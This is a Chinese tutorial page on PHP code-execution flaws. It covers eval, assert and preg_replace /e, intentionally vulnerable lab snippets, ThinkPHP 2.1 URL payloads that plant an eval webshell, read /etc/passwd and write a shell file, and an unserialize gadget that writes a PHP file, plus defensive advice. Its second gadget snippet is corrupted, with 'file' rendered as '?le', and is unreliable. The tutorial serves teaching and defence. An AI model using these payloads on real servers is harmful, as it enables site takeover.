1. 程式人生 > >2. 代碼執行漏洞

2. 代碼執行漏洞

nsh set think mixed 生成文件 sse add PE .com

代碼執行

當應用在調用一些能將字符轉化為代碼的函數(如PHP中的eval)時,
沒有考慮用戶是否能控制這個字符串,這就會造成代碼執行漏洞。

相關函數

PHP:eval assert
Python:exec
asp:<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%>
Java:沒有類似函數,但采用的反射機制和各種基於反射機制的表達式引擎(OGNL、SpEL、MVEL等)有類似功能

phpcms中的string2array函數

這個函數可以將phpcms的數據庫settings的字符串形式的數組內容轉換為真實的數組

array(  //這個是字符串形式的數組,它並不是數組,而是字符串
    upload_maxsize => 2048,
    upload_allowext => jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf, 
    watermark_enable => 1,
    watermark_minwidth => 300,
    watermark_minheight => 300,
    watermark_img => 
/statics/images/water/mark.png, watermark_pct => 85, watermark_quality => 80, watermark_pos => 9, ) function string2array($data) { //這個函數可以將字符串$data轉化為數組 if($data == ‘‘) return array(); @eval("\$array = $data;"); return $array; }

漏洞危害

執行代碼
讓網站寫shell
甚至控制服務器

漏洞分類(也是利用點)

執行代碼的函數:eval、assert
callback函數:preg_replace + /e模式
反序列化:unserialize()(反序列化函數)

搭建環境實驗

  • 示例一
<?php
    $data = $_GET[‘data‘];
    eval("\$ret = $data;");
    echo $ret;
?>
技術分享圖片
  • 示例二
<?php
    $data = $_GET[‘data‘];
    eval("\$ret = strtolower(‘$data‘);");
    echo $ret;
?>
技術分享圖片
  • 示例三
<?php
    $data = $_GET[‘data‘];
    eval("\$ret = strtolower(\"$data\");");
    echo $ret;
?>
技術分享圖片
技術分享圖片
  • 示例四
<?php
    $data = $_GET[‘data‘];
    eval("\$ret = strtolower(\"$data\");");
    echo $ret;
?>
技術分享圖片
技術分享圖片
  • 示例五
    mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
    /e修正符使preg_replace()將replacement參數當作PHP 代碼(在適當的逆向引用替換完之後)
<?php
    $data = $_GET[‘data‘];
    // echo $data;
    preg_replace(‘/<data>(.*)<\/data>/e‘,‘$ret = "\\1"‘,$data);
    echo $ret;
?>
技術分享圖片

具體操作

# 一般找CMS相應版本漏洞,如ThinkPHP2.1
* 一句話
    http://www.xxx.com/News/detail/id/{${@eval($_POST[aa])}}
* 得到當前路徑
    http://www.xxx.com/News/detail/id/{${print(getcwd()))}}
* 讀文件
    http://www.xxx.com/News/detail/id/{${exit(var_dump(file_get_contents($_POST[‘f‘])))}}
    POST的數據為:f=/etc/passwd
* 寫shell
    http://www.xxx.com/News/detail/id/{${exit(var_dump(file_put_contents($_POST[‘f‘],$_POST[d])))}}
    POST的數據為:f=1.php&d=<?php @eval($_POST[‘aa‘])?>

漏洞防禦

    1.使用json保存數組,當讀取時就不需要使用eval了
    2.對於必須使用eval的地方,一定嚴格處理用戶數據
    3.字符串使用單引號包括可控代碼,插入前使用addslashes轉義
    4.放棄使用preg_replace的e修飾符,使用preg_replace_callback()替換
    5.若必須使用preg_replace的e修飾符,則必用單引號包裹正則匹配出的對象

關於反序列化漏洞

序列化:使用函數serialize()可將實例序列化為字符串
反序列化:使用函數unserialize()可將序列化的字符串還原
若服務端有如下代碼:

<?php
    class foo{
        public $file = "test.txt";
        public $data = "123456";

        function __destruct(){
            file_put_contents($this->file,$this->data);
        }
    }

    $d = $_REQUEST[‘str‘];
    var_dump($d);
    echo "<br />";
    $tc = unserialize(base64_decode($d));
    var_dump($tc);
?>

客戶端可構造如下代碼生成序列化後的字符串提交給服務端,
服務端就會生成文件xx.php,內容為<b><?php phpinfo(); ?></b>:

<?php
    class foo {
        public $?le = "test.txt";
        public $data = "123456";
        
        function __destruct() {
            ?le_put_contents($this->?le, $this->data);
        }
    }

    $f = new foo();
    $f->?le = "xx.php";
    $f->data = "<?php phpinfo(); ?>";
    echo base64_encode(serialize($f));
?>

原文鏈接:http://wyb0.com/posts/code-execution-vulnerabilities/

2. 代碼執行漏洞